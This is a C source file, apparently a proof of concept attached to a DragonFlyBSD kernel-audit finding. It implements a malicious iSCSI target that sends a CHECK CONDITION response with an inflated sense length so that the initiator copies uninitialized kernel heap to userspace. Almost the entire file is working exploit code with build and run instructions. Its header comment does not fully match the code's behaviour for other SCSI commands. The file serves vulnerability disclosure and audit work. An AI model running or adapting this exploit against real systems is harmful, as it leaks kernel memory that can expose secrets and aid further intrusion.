DragonFlyBSD Kernel Audit
DF-2468 / mtarget2468.c
← back to finding ↓ download raw
/*
 * mtarget2468.c - Malicious iSCSI target for DF-2468 (getSenseData heap leak).
 *
 * Completes iSCSI Login (Security -> Operational -> FFP), then:
 *   - INQUIRY (CDB opcode 0x12): replies with a SCSI Data-In carrying VALID
 *     INQUIRY data (direct-access disk) so CAM registers the LUN and a
 *     /dev/daN + /dev/passN appear.
 *   - all other SCSI commands: replies with a SCSI Response (opcode 0x21),
 *     status = 0x02 (CHECK CONDITION), and a Data Segment whose first two
 *     bytes claim sense_len = 252 (0x00FC) while the actual Data Segment is
 *     only 10 bytes.  getSenseData() does kmalloc(252, M_ISCSI, M_WAITOK)
 *     WITHOUT M_ZERO, i_mbufcopy() copies only the 10 real bytes, then
 *     bcopy(bp+2, sense, min(252, scsi->sense_len)) copies the remaining
 *     uninitialized kmalloc slack (stale kernel heap) into the CCB sense_data.
 *     For a userspace pass-through CCB the sense (CAM_AUTOSNS_VALID) is
 *     returned, leaking stale kernel heap to userspace.
 *
 * Build: cc -o mtarget2468 mtarget2468.c
 * Run:   ./mtarget2468            (listens 127.0.0.1:3260)
 * Driver: iscontrol (root) connects; then `camcontrol cmd da0 -c ...` dumps sense.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

static int G_c = -1;
static unsigned statSN = 0;
static unsigned expCmdSN = 1;   /* advanced as we ack initiator CmdSNs */
static unsigned maxCmdSN = 64;  /* keep a wide window so pass-throughs flow */

#define BHS_OP        0
#define BHS_FLAGS     1
#define BHS_AHSLEN    4
#define BHS_DSLEN     5
#define BHS_ITT       16
#define BHS_CMDSN     24

static unsigned get24(const unsigned char *b, int off){ return ((unsigned)b[off]<<16)|((unsigned)b[off+1]<<8)|b[off+2]; }
static void set24(unsigned char *b,int off,unsigned v){ b[off]=v>>16;b[off+1]=v>>8;b[off+2]=v; }
static void put32(unsigned char *b,int off,unsigned v){ b[off]=v>>24;b[off+1]=v>>16;b[off+2]=v>>8;b[off+3]=v; }
static unsigned get32(const unsigned char *b,int off){ return ((unsigned)b[off]<<24)|((unsigned)b[off+1]<<16)|((unsigned)b[off+2]<<8)|b[off+3]; }
static int readn(int fd,void*buf,int n){ int got=0,r; unsigned char*p=buf; while(got<n){ r=read(fd,p+got,n-got); if(r<=0)return -1; got+=r; } return got; }
static void sendb(const void*p,int n){ if(write(G_c,p,n)!=n) perror("write"); }

static void send_login_rsp(const unsigned char *req,const char*ds,int dslen){
    unsigned char b[48+4096]; int pad,total;
    memset(b,0,sizeof(b));
    b[BHS_OP]=0x23; b[BHS_FLAGS]=req[BHS_FLAGS]|0x80; b[2]=0; b[3]=0;
    memcpy(b+8,req+8,6); b[14]=0; b[15]=1;
    put32(b,BHS_ITT,get32(req,BHS_ITT));
    statSN++; put32(b,24,statSN); put32(b,28,expCmdSN); put32(b,32,maxCmdSN);
    put32(b,36,0); set24(b,BHS_DSLEN,dslen); total=48;
    memcpy(b+48,ds,dslen); total+=dslen; pad=(4-(dslen&3))&3;
    if(pad){memset(b+total,0,pad);total+=pad;}
    sendb(b,total);
}
static const char *SEC_RSP="AuthMethod=None\0";
static const char *OP_RSP=
    "MaxRecvDataSegmentLength=65536\0""MaxBurstLength=262144\0""FirstBurstLength=65536\0"
    "HeaderDigest=None\0""DataDigest=None\0""ErrorRecoveryLevel=0\0""DefaultTime2Wait=2\0"
    "DefaultTime2Retain=20\0""DataPDUInOrder=Yes\0""DataSequenceInOrder=Yes\0"
    "MaxOutstandingR2T=1\0""MaxConnections=1\0""InitialR2T=Yes\0""ImmediateData=No\0";
static int op_rsp_len(void){ const char*p=OP_RSP;int n=0;while(*p){int l=strlen(p)+1;n+=l;p+=l;}return n;}
static int sec_rsp_len(void){ return strlen(SEC_RSP)+1; }

/* SCSI Data-In (opcode 0x25) with status GOOD, carrying `data`/`dlen`,
   matching itt/edtlen from the request. */
static void send_datain_good(const unsigned char*req,unsigned itt,const unsigned char*data,int dlen){
    unsigned char d[48+4096]; int total,pad;
    memset(d,0,sizeof(d));
    d[0]=0x25; d[1]=0x81; d[3]=0x00;       /* Data-In, F=1, S=1 status GOOD */
    put32(d,16,itt); put32(d,20,0xffffffff);
    put32(d,24,++statSN); put32(d,28,expCmdSN); put32(d,32,maxCmdSN);
    put32(d,36,0); put32(d,40,0);          /* DataSN=0, bo=0 */
    if(dlen>0) memcpy(d+48,data,dlen);
    set24(d,BHS_DSLEN,dlen); total=48+dlen; pad=(4-(dlen&3))&3;
    if(pad){memset(d+total,0,pad);total+=pad;}
    sendb(d,total);
}

/* SCSI Response (opcode 0x21) with status GOOD, optional small data segment. */
static void send_scsi_rsp_good(const unsigned char*req,unsigned itt,unsigned status,
                               const unsigned char*data,int dlen){
    unsigned char d[48+64]; int total,pad;
    memset(d,0,sizeof(d));
    d[0]=0x21; d[1]=0x80; d[2]=0x00; d[3]=(unsigned char)status;
    put32(d,16,itt); put32(d,24,++statSN); put32(d,28,expCmdSN); put32(d,32,maxCmdSN);
    put32(d,36,0); put32(d,40,0); put32(d,44,0);
    if(dlen>0){ set24(d,BHS_DSLEN,dlen); memcpy(d+48,data,dlen); total=48+dlen; pad=(4-(dlen&3))&3;
        if(pad){memset(d+total,0,pad);total+=pad;} }
    else total=48;
    sendb(d,total);
}

/* SCSI Response (opcode 0x21), status=0x02 (CHECK CONDITION), Data Segment
   = [2-byte sense_len=252 BE][sensedata...], DSLength set to the SMALL real
   length so sense_len(252) > mbuf_len(real) -> getSenseData leak path. */
static void send_check_condition(const unsigned char*req,unsigned itt){
    unsigned char d[48+64]; int total,pad,dslen;
    /* sense payload: 2-byte sense_len (252) + 8 bytes of sense data */
    unsigned char sense[10];
    sense[0]=0x00; sense[1]=0xFC;           /* sense_len = 252 (BE) -- MUCH bigger than ds */
    sense[2]=0x70;                          /* current error code, fixed format */
    sense[3]=0x00;
    sense[4]=0x05;                          /* ILLEGAL REQUEST */
    sense[5]=0x26; sense[6]=0x00;           /* invalid field in CDB */
    sense[7]=0x0a; sense[8]=0x00; sense[9]=0x00;
    dslen = sizeof(sense);                  /* 10 bytes actually on the wire */
    memset(d,0,sizeof(d));
    d[0]=0x21;                              /* SCSI Response */
    d[1]=0x80;                              /* F=1 */
    d[2]=0x00;                              /* response = 0 (cmd completed at target) */
    d[3]=0x02;                              /* status = CHECK CONDITION */
    put32(d,16,itt);                        /* itt */
    put32(d,24,++statSN); put32(d,28,expCmdSN); put32(d,32,maxCmdSN);
    put32(d,36,0); put32(d,40,0); put32(d,44,0);
    set24(d,BHS_DSLEN,dslen);
    memcpy(d+48,sense,dslen); total=48+dslen; pad=(4-(dslen&3))&3;
    if(pad){memset(d+total,0,pad);total+=pad;}
    sendb(d,total);
}

/* minimal valid INQUIRY response: direct-access disk, 36 bytes */
static const unsigned char INQ[36] = {
    0x00,0x00,0x05,0x02, 0x20,0x00,0x00,0x00, /* type=disk, SPC-3, addrlen=32 */
    'D','F','L','Y',' ',' ',' ',' ',          /* vendor */
    'M','T','A','R','G','E','T','4','6','8',' ',' ',' ',' ',' ',' ',' ',
    0x00,0x00,0x00,0x00
};

int main(int argc,char**argv){
    int port=argc>1?atoi(argv[1]):3260;
    int s,one=1; struct sockaddr_in sa;
    signal(SIGPIPE,SIG_IGN);
    s=socket(AF_INET,SOCK_STREAM,0); setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&one,sizeof one);
    memset(&sa,0,sizeof sa); sa.sin_family=AF_INET; sa.sin_addr.s_addr=inet_addr("127.0.0.1"); sa.sin_port=htons(port);
    if(bind(s,(struct sockaddr*)&sa,sizeof sa)<0){perror("bind");return 1;}
    if(listen(s,1)<0){perror("listen");return 1;}
    printf("mtarget2468: listening 127.0.0.1:%d\n",port); fflush(stdout);
    {struct sockaddr_in ca;socklen_t cl=sizeof ca; G_c=accept(s,(struct sockaddr*)&ca,&cl); if(G_c<0){perror("accept");return 1;}}
    printf("mtarget2468: accepted\n"); fflush(stdout);
    for(;;){
        unsigned char bhs[48]; unsigned char*ahs_ds=NULL; int r,ahsl,dsl,extra;
        r=readn(G_c,bhs,48); if(r<0){printf("mtarget2468: closed\n");break;}
        ahsl=bhs[BHS_AHSLEN]*4; dsl=get24(bhs,BHS_DSLEN); extra=ahsl+((dsl+3)&~3);
        if(extra>0){ ahs_ds=malloc(extra); if(readn(G_c,ahs_ds,extra)<0){printf("ds read fail\n");break;} }
        switch(bhs[BHS_OP]&0x3f){
        case 0x03:{ int csg=(bhs[1]>>2)&3,nsg=bhs[1]&3;
            if(csg==0) send_login_rsp(bhs,SEC_RSP,sec_rsp_len());
            else send_login_rsp(bhs,OP_RSP,op_rsp_len());
            if(nsg==2&&(bhs[1]&0x80)) printf("  -> FFP\n");
            break; }
        case 0x00: case 0x04:{ unsigned char nb[48]; memset(nb,0,48);
            nb[0]=0x20;nb[1]=0x80;put32(nb,16,0xffffffff);put32(nb,20,0xffffffff);
            put32(nb,24,++statSN);put32(nb,28,expCmdSN);put32(nb,32,maxCmdSN); sendb(nb,48); break; }
        case 0x01:{ unsigned itt=get32(bhs,BHS_ITT); unsigned char cdbop=bhs[32];
            unsigned edtlen=get32(bhs,40); (void)edtlen;
            unsigned cmdsn=get32(bhs,BHS_CMDSN);
            unsigned lun = get32(bhs,8); (void)lun;   /* LUN field bytes 8..15 */
            /* respond only to LUN 0 INQUIRY with valid data; reject other LUNs
               (CHECK CONDITION ILLEGAL REQUEST) so CAM stops at one da device
               instead of enumerating thousands. */
            unsigned char lunbyte = bhs[9];
            /* advance the command window so the initiator keeps issuing cmds */
            if(cmdsn >= expCmdSN) expCmdSN = cmdsn + 1;
            maxCmdSN = expCmdSN + 64;
            printf("  SCSI CMD itt=0x%08x cdbop=0x%02x lun=%u cmdsn=%u\n",
                   itt,cdbop,lunbyte,cmdsn); fflush(stdout);
            if(lunbyte != 0){                     /* non-zero LUN -> not present */
                send_check_condition(bhs,itt);
            } else if(cdbop==0x12){                /* INQUIRY LUN0 -> valid data */
                send_datain_good(bhs,itt,INQ,sizeof INQ);
            } else if(cdbop==0x25 || cdbop==0x9e){ /* READ CAPACITY(10/16) */
                unsigned char cap[8]={0x00,0x00,0x00,0xff,0x00,0x00,0x02,0x00};
                send_datain_good(bhs,itt,cap,sizeof cap);
            } else if(cdbop==0x03){                /* REQUEST SENSE (pass-through trigger) */
                send_check_condition(bhs,itt);     /* -> crafted leaked sense */
            } else {                              /* TUR / MODE SENSE / etc -> GOOD */
                send_scsi_rsp_good(bhs,itt,0,NULL,0);
            }
            break; }
        case 0x06:{ unsigned char lb[48]; memset(lb,0,48);
            lb[0]=0x26;lb[1]=0x80;put32(lb,16,get32(bhs,16));
            put32(lb,24,++statSN);put32(lb,28,expCmdSN);put32(lb,32,maxCmdSN); sendb(lb,48);
            printf("  logout -> bye\n"); fflush(stdout); goto done; }
        default: printf("  (ignoring op 0x%02x)\n",bhs[0]&0x3f); fflush(stdout); break;
        }
        if(ahs_ds){free(ahs_ds);ahs_ds=NULL;}
    }
done: close(G_c); close(s); return 0;
}